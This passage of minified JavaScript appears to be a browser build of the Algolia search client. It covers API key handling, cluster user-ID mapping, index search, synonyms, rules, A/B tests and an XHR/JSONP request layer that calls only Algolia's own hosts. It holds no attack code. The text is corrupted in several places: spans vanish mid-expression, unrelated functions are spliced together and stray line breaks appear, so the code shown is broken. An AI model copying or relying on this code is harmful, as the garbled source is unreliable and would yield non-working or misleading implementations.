r&&(s.validity=r.validity,s.maxQueriesPerIPPerHour=r.maxQueriesPerIPPerHour,s.maxHitsPerQuery=r.maxHitsPerQuery,s.indexes=r.indexes,s.description=r.description,r.queryParameters&&(s.queryParameters=this._getSearchParams(r.queryParameters,"")),s.referers=r.referers),this._jsonRequest({method:"POST",url:"/1/keys",body:s,hostType:"write",callback:o})},o.prototype.addUserKeyWithValidity=s(function(e,t,r){return this.addApiKey(e,t,r)},a("client.addUserKeyWithValidity()","client.addApiKey()")),o.prototype.updateUserKey=s(function(e,t,r,o){return this.updateApiKey(e,t,r,o)},a("client.updateUserKey()","client.updateApiKey()")),o.prototype.updateApiKey=function(t,r,o,n){var i=e(8),s="Usage: client.updateApiKey(key, arrayOfAcls[, params, callback])";if(!i(r))throw new Error(s);2!==arguments.length&&"function"!=typeof o||(n=o,o=null);var a={acl:r};return o&&(a.validity=o.validity,a.maxQueriesPerIPPerHour=o.maxQueriesPerIPPerHour,a.maxHitsPerQuery=o.maxHitsPerQuery,a.indexes=o.indexes,a.description=o.description,o.queryParameters&&(a.queryParameters=this._getSearchParams(o.queryParameters,"")),a.referers=o.referers),this._jsonRequest({method:"PUT",url:"/1/keys/"+t,body:a,hostType:"write",callback:n})},o.prototype.startQueriesBatch=s(function(){this._batch=[]},a("client.startQueriesBatch()","client.search()")),o.prototype.addQueryInBatch=s(function(e,t,r){this._batch.push({indexName:e,query:t,params:r})},a("client.addQueryInBatch()","client.search()")),o.prototype.sendQueriesBatch=s(function(e){return this.search(this._batch,e)},a("client.sendQueriesBatch()","client.search()")),o.prototype.batch=function(t,r){var o=e(8),n="Usage: client.batch(operations[, callback])";if(!o(t))throw new Error(n);return this._jsonRequest({method:"POST",url:"/1/indexes/*/batch",body:{requests:t},hostType:"write",callback:r})},o.prototype.assignUserID=function(e,t){if(!e.userID||!e.cluster)throw new l.AlgoliaSearchError("You have to provide both a userID and cluster",e);return this._jsonRequest({method:"POST",url:"/1/clusters/mapping",hostType:"write",body:{cluster:e.cluster},callback:t,headers:{"x-algolia-user-id":e.userID}})},o.prototype.getTopUserID=function(e){return this._jsonRequest({method:"GET",url:"/1/clusters/mapping/top",hostType:"read",callback:e})},o.prototype.getUserID=function(e,t){if(!e.userID)throw new l.AlgoliaSearchError("You have to provide a userID",{debugData:e});return this._jsonRequest({method:"GET",url:"/1/clusters/mapping/"+e.userID,hostType:"read",callback:t})},o.prototype.listClusters=function(e){return this._jsonRequest({method:"GET",url:"/1/clusters",hostType:"read",callback:e})},o.prototype.listUserIDs=function(e,t){return this._jsonRequest({method:"GET",url:"/1/clusters/mapping",body:e,hostType:"read",callback:t})},o.prototype.removeUserID=function(e,t){if(!e.userID)throw new l.AlgoliaSearchError("You have to provide a userID",{debugData:e});return this._jsonRequest({method:"DELETE",url:"/1/clusters/mapping",hostType:"write",callback:t,headers:{"x-algolia-user-id":e.userID}})},o.prototype.searchUserIDs=function(e,t){return this._jsonRequest({method:"POST",url:"/1/clusters/mapping/search",body:e,hostType:"read",callback:t})},o.prototype.destroy=n,o.prototype.enableRateLimitForward=n,o.prototype.disableRateLimitForward=n,o.prototype.useSecuredAPIKey=n,o.prototype.disableSecuredAPIKey=n,o.prototype.generateSecuredApiKey=n},{15:15,16:16,24:24,25:25,26:26,27:27,28:28,7:7,8:8}],15:[function(e,t,r){(function(r){function o(t,r,o){var i=e(1)("algoliasearch"),s=e(24),a=e(8),u=e(30),l="Usage: algoliasearch(applicationID, apiKey, opts)";if(o._allowEmptyCredentials!==!0&&!t)throw new c.AlgoliaSearchError("Please provide an application ID. "+l);if(o._allowEmptyCredentials!==!0&&!r)throw new c.AlgoliaSearchError("Please provide an API key. "+l);this.applicationID=t,this.apiKey=r,this.hosts={read:[],write:[]},o=o||{},this._timeouts=o.timeouts||{connect:1e3,read:2e3,write:3e4},o.timeout&&(this._timeouts.connect=this._timeouts.read=this._timeouts.write=o.timeout);var p=o.protocol||"https:";if(/:$/.test(p)||(p+=":"),"http:"!==p&&"https:"!==p)throw new c.AlgoliaSearchError("protocol must be `http:` or `https:` (was `"+o.protocol+"`)");if(this._checkAppIdData(),o.hosts)a(o.hosts)?(this.hosts.read=s(o.hosts),this.hosts.write=s(o.hosts)):(this.hosts.read=s(o.hosts.read),this.hosts.write=s(o.hosts.write));else{var d=u(this._shuffleResult,function(e){return t+"-"+e+".algolianet.com"}),h=(o.dsn===!1?"":"-dsn")+".algolia.net";this.hosts.read=[this.applicationID+h].concat(d),this.hosts.write=[this.applicationID+".algolia.net"].concat(d)}this.hosts.read=u(this.hosts.read,n(p)),this.hosts.write=u(this.hosts.write,n(p)),this.extraHeaders={},this.cache=o._cache||{},this._ua=o._ua,this._useCache=!(void 0!==o._useCache&&!o._cache)||o._useCache,this._useRequestCache=this._useCache&&o._useRequestCache,this._useFallback=void 0===o.useFallback||o.useFallback,this._setTimeout=o._setTimeout,i("init done, %j",this)}function n(e){return function(t){return e+"//"+t.toLowerCase(); -}}function i(e){if(void 0===Array.prototype.toJSON)return JSON.stringify(e);var t=Array.prototype.toJSON;delete Array.prototype.toJSON;var r=JSON.stringify(e);return Array.prototype.toJSON=t,r}function s(e){for(var t,r,o=e.length;0!==o;)r=Math.floor(Math.random()*o),o-=1,t=e[o],e[o]=e[r],e[r]=t;return e}function a(e){var t={};for(var r in e)if(Object.prototype.hasOwnProperty.call(e,r)){var o;o="x-algolia-api-key"===r||"x-algolia-application-id"===r?"**hidden for security purposes**":e[r],t[r]=o}return t}t.exports=o;var c=e(28),u=e(29),l=e(18),p=e(34),d=500,h=r.env.RESET_APP_DATA_TIMER&&parseInt(r.env.RESET_APP_DATA_TIMER,10)||12e4;o.prototype.initIndex=function(e){return new l(this,e)},o.prototype.setExtraHeader=function(e,t){this.extraHeaders[e.toLowerCase()]=t},o.prototype.getExtraHeader=function(e){return this.extraHeaders[e.toLowerCase()]},o.prototype.unsetExtraHeader=function(e){delete this.extraHeaders[e.toLowerCase()]},o.prototype.addAlgoliaAgent=function(e){this._ua.indexOf(";"+e)===-1&&(this._ua+=";"+e)},o.prototype._jsonRequest=function(t){function r(e,n){function u(e){var t=e&&e.body&&e.body.message&&e.body.status||e.statusCode||e&&e.body&&200;h("received response: statusCode: %s, computed statusCode: %d, headers: %j",e.statusCode,t,e.headers);var r=2===Math.floor(t/100),o=new Date;if(w.push({currentHost:A,headers:a(p),content:s||null,contentLength:void 0!==s?s.length:null,method:n.method,timeouts:n.timeouts,url:n.url,startTime:x,endTime:o,duration:o-x,statusCode:t}),r)return m._useCache&&!m._useRequestCache&&y&&(y[l]=e.responseText),{responseText:e.responseText,body:e.body};var i=4!==Math.floor(t/100);if(i)return v+=1,_();h("unrecoverable error");var u=new c.AlgoliaSearchError(e.body&&e.body.message,{debugData:w,statusCode:t});return m._promise.reject(u)}function d(e){h("error: %s, stack: %s",e.message,e.stack);var r=new Date;return w.push({currentHost:A,headers:a(p),content:s||null,contentLength:void 0!==s?s.length:null,method:n.method,timeouts:n.timeouts,url:n.url,startTime:x,endTime:r,duration:r-x}),e instanceof c.AlgoliaSearchError||(e=new c.Unknown(e&&e.message,e)),v+=1,e instanceof c.Unknown||e instanceof c.UnparsableJSON||v>=m.hosts[t.hostType].length&&(g||!b)?(e.debugData=w,m._promise.reject(e)):e instanceof c.RequestTimeout?T():_()}function _(){return h("retrying request"),m._incrementHostIndex(t.hostType),r(e,n)}function T(){return h("retrying request with higher timeout"),m._incrementHostIndex(t.hostType),m._incrementTimeoutMultipler(),n.timeouts=m._getTimeoutsForRequest(t.hostType),r(e,n)}m._checkAppIdData();var x=new Date;if(m._useCache&&!m._useRequestCache&&(l=t.url),m._useCache&&!m._useRequestCache&&s&&(l+="_body_"+n.body),o(!m._useRequestCache,y,l)){h("serving response from cache");var R=y[l];return m._promise.resolve({body:JSON.parse(R),responseText:R})}if(v>=m.hosts[t.hostType].length)return!b||g?(h("could not get any response"),m._promise.reject(new c.AlgoliaSearchError("Cannot connect to the AlgoliaSearch API. Send an email to support@algolia.com to report and resolve the issue. Application id was: "+m.applicationID,{debugData:w}))):(h("switching to fallback"),v=0,n.method=t.fallback.method,n.url=t.fallback.url,n.jsonBody=t.fallback.body,n.jsonBody&&(n.body=i(n.jsonBody)),p=m._computeRequestHeaders({additionalUA:f,headers:t.headers}),n.timeouts=m._getTimeoutsForRequest(t.hostType),m._setHostIndexByType(0,t.hostType),g=!0,r(m._request.fallback,n));var A=m._getHostByType(t.hostType),j=A+n.url,S={body:n.body,jsonBody:n.jsonBody,method:n.method,headers:p,timeouts:n.timeouts,debug:h,forceAuthHeaders:n.forceAuthHeaders};return h("method: %s, url: %s, headers: %j, timeouts: %d",S.method,j,S.headers,S.timeouts),e===m._request.fallback&&h("using fallback"),e.call(m,j,S).then(u,d)}function o(e,t,r){return m._useCache&&e&&t&&void 0!==t[r]}function n(e,r){return o(m._useRequestCache,y,l)&&e["catch"](function(){delete y[l]}),"function"!=typeof t.callback?e.then(r):void e.then(function(e){u(function(){t.callback(null,r(e))},m._setTimeout||setTimeout)},function(e){u(function(){t.callback(e)},m._setTimeout||setTimeout)})}this._checkAppIdData();var s,l,p,h=e(1)("algoliasearch:"+t.url),f=t.additionalUA||"",y=t.cache,m=this,v=0,g=!1,b=m._useFallback&&m._request.fallback&&t.fallback;this.apiKey.length>d&&void 0!==t.body&&(void 0!==t.body.params||void 0!==t.body.requests)?(t.body.apiKey=this.apiKey,p=this._computeRequestHeaders({additionalUA:f,withApiKey:!1,headers:t.headers})):p=this._computeRequestHeaders({additionalUA:f,headers:t.headers}),void 0!==t.body&&(s=i(t.body)),h("request start");var w=[];if(m._useCache&&m._useRequestCache&&(l=t.url),m._useCache&&m._useRequestCache&&s&&(l+="_body_"+s),o(m._useRequestCache,y,l)){h("serving request from cache");var _=y[l],T="function"!=typeof _.then?m._promise.resolve({responseText:_}):_;return n(T,function(e){return JSON.parse(e.responseText)})}var x=r(m._request,{url:t.url,method:t.method,body:s,jsonBody:t.body,timeouts:m._getTimeoutsForRequest(t.hostType),forceAuthHeaders:t.forceAuthHeaders});return m._useCache&&m._useRequestCache&&y&&(y[l]=x),n(x,function(e){return e.body})},o.prototype._getSearchParams=function(e,t){if(void 0===e||null===e)return t;for(var r in e)null!==r&&void 0!==e[r]&&e.hasOwnProperty(r)&&(t+=""===t?"":"&",t+=r+"="+encodeURIComponent("[object Array]"===Object.prototype.toString.call(e[r])?i(e[r]):e[r]));return t},o.prototype._computeRequestHeaders=function(t){var r=e(5),o=t.additionalUA?this._ua+";"+t.additionalUA:this._ua,n={"x-algolia-agent":o,"x-algolia-application-id":this.applicationID};return t.withApiKey!==!1&&(n["x-algolia-api-key"]=this.apiKey),this.userToken&&(n["x-algolia-usertoken"]=this.userToken),this.securityTags&&(n["x-algolia-tagfilters"]=this.securityTags),r(this.extraHeaders,function(e,t){n[t]=e}),t.headers&&r(t.headers,function(e,t){n[t]=e}),n},o.prototype.search=function(t,r,o){var n=e(8),i=e(30),s="Usage: client.search(arrayOfQueries[, callback])";if(!n(t))throw new Error(s);"function"==typeof r?(o=r,r={}):void 0===r&&(r={});var a=this,c={requests:i(t,function(e){var t="";return void 0!==e.query&&(t+="query="+encodeURIComponent(e.query)),{indexName:e.indexName,params:a._getSearchParams(e.params,t)}})},u=i(c.requests,function(e,t){return t+"="+encodeURIComponent("/1/indexes/"+encodeURIComponent(e.indexName)+"?"+e.params)}).join("&"),l="/1/indexes/*/queries";return void 0!==r.strategy&&(c.strategy=r.strategy),this._jsonRequest({cache:this.cache,method:"POST",url:l,body:c,hostType:"read",fallback:{method:"GET",url:"/1/indexes/*",body:{params:u}},callback:o})},o.prototype.searchForFacetValues=function(t){var r=e(8),o=e(30),n="Usage: client.searchForFacetValues([{indexName, params: {facetName, facetQuery, ...params}}, ...queries])";if(!r(t))throw new Error(n);var i=this;return i._promise.all(o(t,function(t){if(!t||void 0===t.indexName||void 0===t.params.facetName||void 0===t.params.facetQuery)throw new Error(n);var r=e(24),o=e(32),s=t.indexName,a=t.params,c=a.facetName,u=o(r(a),function(e){return"facetName"===e}),l=i._getSearchParams(u,"");return i._jsonRequest({cache:i.cache,method:"POST",url:"/1/indexes/"+encodeURIComponent(s)+"/facets/"+encodeURIComponent(c)+"/query",hostType:"read",body:{params:l}})}))},o.prototype.setSecurityTags=function(e){if("[object Array]"===Object.prototype.toString.call(e)){for(var t=[],r=0;rh?this._resetInitialAppIdData(e):e},o.prototype._resetInitialAppIdData=function(e){var t=e||{};return t.hostIndexes={read:0,write:0},t.timeoutMultiplier=1,t.shuffleResult=t.shuffleResult||s([1,2,3]),this._setAppIdData(t)},o.prototype._cacheAppIdData=function(e){this._hostIndexes=e.hostIndexes,this._timeoutMultiplier=e.timeoutMultiplier,this._shuffleResult=e.shuffleResult},o.prototype._partialAppIdDataUpdate=function(t){var r=e(5),o=this._getAppIdData();return r(t,function(e,t){o[t]=e}),this._setAppIdData(o)},o.prototype._getHostByType=function(e){return this.hosts[e][this._getHostIndexByType(e)]},o.prototype._getTimeoutMultiplier=function(){return this._timeoutMultiplier},o.prototype._getHostIndexByType=function(e){return this._hostIndexes[e]},o.prototype._setHostIndexByType=function(t,r){var o=e(24),n=o(this._hostIndexes);return n[r]=t,this._partialAppIdDataUpdate({hostIndexes:n}),t},o.prototype._incrementHostIndex=function(e){return this._setHostIndexByType((this._getHostIndexByType(e)+1)%this.hosts[e].length,e)},o.prototype._incrementTimeoutMultipler=function(){var e=Math.max(this._timeoutMultiplier+1,4);return this._partialAppIdDataUpdate({timeoutMultiplier:e})},o.prototype._getTimeoutsForRequest=function(e){return{connect:this._timeouts.connect*this._timeoutMultiplier,complete:this._timeouts[e]*this._timeoutMultiplier}}}).call(this,e(12))},{1:1,12:12,18:18,24:24,28:28,29:29,30:30,32:32,34:34,5:5,8:8}],16:[function(e,t,r){function o(){s.apply(this,arguments)}function n(e,t,r){function o(r,n){var i={page:r||0,hitsPerPage:t||100},s=n||[];return e(i).then(function(e){var t=e.hits,r=e.nbHits,n=t.map(function(e){return delete e._highlightResult,e}),a=s.concat(n);return a.lengths&&(t=s),"published"!==e.status?l._promise.delay(t).then(r):e})}function o(e){u(function(){t(null,e)},l._setTimeout||setTimeout)}function n(e){u(function(){t(e)},l._setTimeout||setTimeout)}var i=100,s=5e3,a=0,c=this,l=c.as,p=r();return t?void p.then(o,n):p},o.prototype.clearIndex=function(e){var t=this;return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(t.indexName)+"/clear",hostType:"write",callback:e})},o.prototype.getSettings=function(e,t){1===arguments.length&&"function"==typeof e&&(t=e,e={}),e=e||{};var r=encodeURIComponent(this.indexName);return this.as._jsonRequest({method:"GET",url:"/1/indexes/"+r+"/settings?getVersion=2"+(e.advanced?"&advanced="+e.advanced:""),hostType:"read",callback:t})},o.prototype.searchSynonyms=function(e,t){return"function"==typeof e?(t=e,e={}):void 0===e&&(e={}),this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/synonyms/search",body:e,hostType:"read",callback:t})},o.prototype.exportSynonyms=function(e,t){return n(this.searchSynonyms.bind(this),e,t)},o.prototype.saveSynonym=function(e,t,r){"function"==typeof t?(r=t,t={}):void 0===t&&(t={}),void 0!==t.forwardToSlaves&&p();var o=t.forwardToSlaves||t.forwardToReplicas?"true":"false";return this.as._jsonRequest({method:"PUT",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/synonyms/"+encodeURIComponent(e.objectID)+"?forwardToReplicas="+o,body:e,hostType:"write",callback:r})},o.prototype.getSynonym=function(e,t){return this.as._jsonRequest({method:"GET",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/synonyms/"+encodeURIComponent(e),hostType:"read",callback:t})},o.prototype.deleteSynonym=function(e,t,r){"function"==typeof t?(r=t,t={}):void 0===t&&(t={}),void 0!==t.forwardToSlaves&&p();var o=t.forwardToSlaves||t.forwardToReplicas?"true":"false";return this.as._jsonRequest({method:"DELETE",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/synonyms/"+encodeURIComponent(e)+"?forwardToReplicas="+o,hostType:"write",callback:r})},o.prototype.clearSynonyms=function(e,t){"function"==typeof e?(t=e,e={}):void 0===e&&(e={}),void 0!==e.forwardToSlaves&&p();var r=e.forwardToSlaves||e.forwardToReplicas?"true":"false";return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/synonyms/clear?forwardToReplicas="+r,hostType:"write",callback:t})},o.prototype.batchSynonyms=function(e,t,r){"function"==typeof t?(r=t,t={}):void 0===t&&(t={}),void 0!==t.forwardToSlaves&&p();var o=t.forwardToSlaves||t.forwardToReplicas?"true":"false";return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/synonyms/batch?forwardToReplicas="+o+"&replaceExistingSynonyms="+(t.replaceExistingSynonyms?"true":"false"),hostType:"write",body:e,callback:r})},o.prototype.searchRules=function(e,t){return"function"==typeof e?(t=e,e={}):void 0===e&&(e={}),this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/rules/search",body:e,hostType:"read",callback:t})},o.prototype.exportRules=function(e,t){return n(this.searchRules.bind(this),e,t)},o.prototype.saveRule=function(e,t,r){if("function"==typeof t?(r=t,t={}):void 0===t&&(t={}),!e.objectID)throw new l.AlgoliaSearchError("Missing or empty objectID field for rule");var o=t.forwardToReplicas===!0?"true":"false";return this.as._jsonRequest({method:"PUT",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/rules/"+encodeURIComponent(e.objectID)+"?forwardToReplicas="+o,body:e,hostType:"write",callback:r})},o.prototype.getRule=function(e,t){return this.as._jsonRequest({method:"GET",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/rules/"+encodeURIComponent(e),hostType:"read",callback:t})},o.prototype.deleteRule=function(e,t,r){"function"==typeof t?(r=t,t={}):void 0===t&&(t={});var o=t.forwardToReplicas===!0?"true":"false";return this.as._jsonRequest({method:"DELETE",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/rules/"+encodeURIComponent(e)+"?forwardToReplicas="+o,hostType:"write",callback:r})},o.prototype.clearRules=function(e,t){"function"==typeof e?(t=e,e={}):void 0===e&&(e={});var r=e.forwardToReplicas===!0?"true":"false";return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/rules/clear?forwardToReplicas="+r,hostType:"write",callback:t})},o.prototype.batchRules=function(e,t,r){"function"==typeof t?(r=t,t={}):void 0===t&&(t={});var o=t.forwardToReplicas===!0?"true":"false";return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/rules/batch?forwardToReplicas="+o+"&clearExistingRules="+(t.clearExistingRules===!0?"true":"false"),hostType:"write",body:e,callback:r})},o.prototype.setSettings=function(e,t,r){1!==arguments.length&&"function"!=typeof t||(r=t,t={}),void 0!==t.forwardToSlaves&&p();var o=t.forwardToSlaves||t.forwardToReplicas?"true":"false",n=this;return this.as._jsonRequest({method:"PUT",url:"/1/indexes/"+encodeURIComponent(n.indexName)+"/settings?forwardToReplicas="+o,hostType:"write",body:e,callback:r})},o.prototype.listUserKeys=a(function(e){return this.listApiKeys(e)},c("index.listUserKeys()","client.listApiKeys()")),o.prototype.listApiKeys=a(function(e){var t=this;return this.as._jsonRequest({method:"GET",url:"/1/indexes/"+encodeURIComponent(t.indexName)+"/keys",hostType:"read",callback:e})},c("index.listApiKeys()","client.listApiKeys()")),o.prototype.getUserKeyACL=a(function(e,t){return this.getApiKey(e,t)},c("index.getUserKeyACL()","client.getApiKey()")),o.prototype.getApiKey=a(function(e,t){var r=this;return this.as._jsonRequest({method:"GET",url:"/1/indexes/"+encodeURIComponent(r.indexName)+"/keys/"+e,hostType:"read",callback:t})},c("index.getApiKey()","client.getApiKey()")),o.prototype.deleteUserKey=a(function(e,t){return this.deleteApiKey(e,t)},c("index.deleteUserKey()","client.deleteApiKey()")),o.prototype.deleteApiKey=a(function(e,t){var r=this;return this.as._jsonRequest({method:"DELETE",url:"/1/indexes/"+encodeURIComponent(r.indexName)+"/keys/"+e,hostType:"write",callback:t})},c("index.deleteApiKey()","client.deleteApiKey()")),o.prototype.addUserKey=a(function(e,t,r){return this.addApiKey(e,t,r)},c("index.addUserKey()","client.addApiKey()")),o.prototype.addApiKey=a(function(t,r,o){var n=e(8),i="Usage: index.addApiKey(arrayOfAcls[, params, callback])";if(!n(t))throw new Error(i);1!==arguments.length&&"function"!=typeof r||(o=r,r=null);var s={acl:t};return r&&(s.validity=r.validity,s.maxQueriesPerIPPerHour=r.maxQueriesPerIPPerHour,s.maxHitsPerQuery=r.maxHitsPerQuery,s.description=r.description,r.queryParameters&&(s.queryParameters=this.as._getSearchParams(r.queryParameters,"")),s.referers=r.referers),this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/keys",body:s,hostType:"write",callback:o})},c("index.addApiKey()","client.addApiKey()")),o.prototype.addUserKeyWithValidity=a(function(e,t,r){return this.addApiKey(e,t,r)},c("index.addUserKeyWithValidity()","client.addApiKey()")),o.prototype.updateUserKey=a(function(e,t,r,o){return this.updateApiKey(e,t,r,o)},c("index.updateUserKey()","client.updateApiKey()")),o.prototype.updateApiKey=a(function(t,r,o,n){var i=e(8),s="Usage: index.updateApiKey(key, arrayOfAcls[, params, callback])";if(!i(r))throw new Error(s);2!==arguments.length&&"function"!=typeof o||(n=o,o=null);var a={acl:r};return o&&(a.validity=o.validity,a.maxQueriesPerIPPerHour=o.maxQueriesPerIPPerHour,a.maxHitsPerQuery=o.maxHitsPerQuery,a.description=o.description,o.queryParameters&&(a.queryParameters=this.as._getSearchParams(o.queryParameters,"")),a.referers=o.referers),this.as._jsonRequest({method:"PUT",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/keys/"+t,body:a,hostType:"write",callback:n})},c("index.updateApiKey()","client.updateApiKey()"))},{17:17,18:18,24:24,26:26,27:27,28:28,29:29,30:30,31:31,7:7,8:8}],17:[function(e,t,r){"use strict";function o(){}t.exports=o;var n=e(7),i=e(4).EventEmitter;n(o,i),o.prototype.stop=function(){this._stopped=!0,this._clean()},o.prototype._end=function(){this.emit("end"),this._clean()},o.prototype._error=function(e){this.emit("error",e),this._clean()},o.prototype._result=function(e){this.emit("result",e)},o.prototype._clean=function(){this.removeAllListeners("stop"),this.removeAllListeners("end"),this.removeAllListeners("error"),this.removeAllListeners("result")}},{4:4,7:7}],18:[function(e,t,r){function o(e,t){this.indexName=t,this.as=e,this.typeAheadArgs=null,this.typeAheadValueOption=null,this.cache={}}var n=e(23),i=e(26),s=e(27);t.exports=o,o.prototype.clearCache=function(){this.cache={}},o.prototype.search=n("query"),o.prototype.similarSearch=n("similarQuery"),o.prototype.browse=function(t,r,o){var n,i,s=e(31),a=this;0===arguments.length||1===arguments.length&&"function"==typeof arguments[0]?(n=0,o=arguments[0],t=void 0):"number"==typeof arguments[0]?(n=arguments[0],"number"==typeof arguments[1]?i=arguments[1]:"function"==typeof arguments[1]&&(o=arguments[1],i=void 0),t=void 0,r=void 0):"object"==typeof arguments[0]?("function"==typeof arguments[1]&&(o=arguments[1]),r=arguments[0],t=void 0):"string"==typeof arguments[0]&&"function"==typeof arguments[1]&&(o=arguments[1],r=void 0),r=s({},r||{},{page:n,hitsPerPage:i,query:t});var c=this.as._getSearchParams(r,"");return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(a.indexName)+"/browse",body:{params:c},hostType:"read",callback:o})},o.prototype.browseFrom=function(e,t){return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/browse",body:{cursor:e},hostType:"read",callback:t})},o.prototype.searchForFacetValues=function(t,r){var o=e(24),n=e(32),i="Usage: index.searchForFacetValues({facetName, facetQuery, ...params}[, callback])";if(void 0===t.facetName||void 0===t.facetQuery)throw new Error(i);var s=t.facetName,a=n(o(t),function(e){return"facetName"===e}),c=this.as._getSearchParams(a,"");return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/facets/"+encodeURIComponent(s)+"/query",hostType:"read",body:{params:c},callback:r})},o.prototype.searchFacet=i(function(e,t){return this.searchForFacetValues(e,t)},s("index.searchFacet(params[, callback])","index.searchForFacetValues(params[, callback])")),o.prototype._search=function(e,t,r,o){return this.as._jsonRequest({cache:this.cache,method:"POST",url:t||"/1/indexes/"+encodeURIComponent(this.indexName)+"/query",body:{params:e},hostType:"read",fallback:{method:"GET",url:"/1/indexes/"+encodeURIComponent(this.indexName),body:{params:e}},callback:r,additionalUA:o})},o.prototype.getObject=function(e,t,r){var o=this;1!==arguments.length&&"function"!=typeof t||(r=t,t=void 0);var n="";if(void 0!==t){n="?attributes=";for(var i=0;i1&&a()}if(!h.cors&&!h.hasXDomainRequest)return void o(new u.Network("CORS not supported"));e=l(e,t.headers);var d,f,y=t.body,m=h.cors?new XMLHttpRequest:new XDomainRequest,v=!1;d=setTimeout(s,t.timeouts.connect),m.onprogress=c,"onreadystatechange"in m&&(m.onreadystatechange=p),m.onload=n,m.onerror=i,m instanceof XMLHttpRequest?(m.open(t.method,e,!0),t.forceAuthHeaders&&(m.setRequestHeader("x-algolia-application-id",t.headers["x-algolia-application-id"]),m.setRequestHeader("x-algolia-api-key",t.headers["x-algolia-api-key"]))):m.open(t.method,e),h.cors&&(y&&("POST"===t.method?m.setRequestHeader("content-type","application/x-www-form-urlencoded"):m.setRequestHeader("content-type","application/json")),m.setRequestHeader("accept","application/json")),y?m.send(y):m.send()})},a.prototype._request.fallback=function(e,t){return e=l(e,t.headers),new n(function(r,o){p(e,t,function(e,t){return e?void o(e):void r(t)})})},a.prototype._promise={reject:function(e){return n.reject(e)},resolve:function(e){return n.resolve(e)},delay:function(e){return new n(function(t){setTimeout(t,e)})},all:function(e){return n.all(e)}},s}}).call(this,e(12))},{1:1,12:12,21:21,22:22,24:24,28:28,3:3,33:33,35:35,6:6,7:7}],21:[function(e,t,r){"use strict";function o(e,t){return e+=/\?/.test(e)?"&":"?",e+n(t)}t.exports=o;var n=e(13)},{13:13}],22:[function(e,t,r){"use strict";function o(e,t,r){function o(){t.debug("JSONP: success"),m||d||(m=!0,p||(t.debug("JSONP: Fail. Script loaded but did not call the callback"),a(),r(new n.JSONPScriptFail)))}function s(){"loaded"!==this.readyState&&"complete"!==this.readyState||o()}function a(){clearTimeout(v),f.onload=null,f.onreadystatechange=null,f.onerror=null,h.removeChild(f)}function c(){try{delete window[y],delete window[y+"_loaded"]}catch(e){window[y]=window[y+"_loaded"]=void 0}}function u(){t.debug("JSONP: Script timeout"),d=!0,a(),r(new n.RequestTimeout)}function l(){t.debug("JSONP: Script error"),m||d||(a(),r(new n.JSONPScriptError))}if("GET"!==t.method)return void r(new Error("Method "+t.method+" "+e+" is not supported by JSONP."));t.debug("JSONP: start");var p=!1,d=!1;i+=1;var h=document.getElementsByTagName("head")[0],f=document.createElement("script"),y="algoliaJSONP_"+i,m=!1;window[y]=function(e){return c(),d?void t.debug("JSONP: Late answer, ignoring"):(p=!0,a(),void r(null,{body:e,responseText:JSON.stringify(e)}))},e+="&callback="+y,t.jsonBody&&t.jsonBody.params&&(e+="&"+t.jsonBody.params);var v=setTimeout(u,t.timeouts.complete);f.onreadystatechange=s,f.onload=o,f.onerror=l,f.async=!0,f.defer=!0,f.src=e,h.appendChild(f)}t.exports=o;var n=e(28),i=0},{28:28}],23:[function(e,t,r){function o(e,t){return function(r,o,i){if("function"==typeof r&&"object"==typeof o||"object"==typeof i)throw new n.AlgoliaSearchError("index.search usage is index.search(query, params, cb)");0===arguments.length||"function"==typeof r?(i=r,r=""):1!==arguments.length&&"function"!=typeof o||(i=o,o=void 0),"object"==typeof r&&null!==r?(o=r,r=void 0):void 0!==r&&null!==r||(r="");var s="";void 0!==r&&(s+=e+"="+encodeURIComponent(r));var a;return void 0!==o&&(o.additionalUA&&(a=o.additionalUA,delete o.additionalUA),s=this.as._getSearchParams(o,s)),this._search(s,t,i,a)}}t.exports=o;var n=e(28)},{28:28}],24:[function(e,t,r){t.exports=function(e){return JSON.parse(JSON.stringify(e))}},{}],25:[function(e,t,r){function o(e,t,r){var o={};return r=r||{},r.hosts=r.hosts||["analytics.algolia.com","analytics.algolia.com","analytics.algolia.com","analytics.algolia.com"],r.protocol=r.protocol||"https:",o.as=n(e,t,r),o.getABTests=function(e,t){var r=r||{},o=r.offset||0,n=r.limit||10;return this.as._jsonRequest({method:"GET",url:"/2/abtests?offset="+encodeURIComponent(o)+"&limit="+encodeURIComponent(n),hostType:"read",forceAuthHeaders:!0,callback:t})},o.getABTest=function(e,t){return this.as._jsonRequest({method:"GET",url:"/2/abtests/"+encodeURIComponent(e),hostType:"read",forceAuthHeaders:!0,callback:t})},o.addABTest=function(e,t){return this.as._jsonRequest({ -method:"POST",url:"/2/abtests",body:e,hostType:"read",forceAuthHeaders:!0,callback:t})},o.stopABTest=function(e,t){return this.as._jsonRequest({method:"POST",url:"/2/abtests/"+encodeURIComponent(e)+"/stop",hostType:"read",forceAuthHeaders:!0,callback:t})},o.deleteABTest=function(e,t){return this.as._jsonRequest({method:"DELETE",url:"/2/abtests/"+encodeURIComponent(e),hostType:"write",forceAuthHeaders:!0,callback:t})},o.waitTask=function(e,t,r){return this.as.initIndex(e).waitTask(t,r)},o}t.exports=o;var n=e(19)},{19:19}],26:[function(e,t,r){t.exports=function(e,t){function r(){return o||(console.warn(t),o=!0),e.apply(this,arguments)}var o=!1;return r}},{}],27:[function(e,t,r){t.exports=function(e,t){var 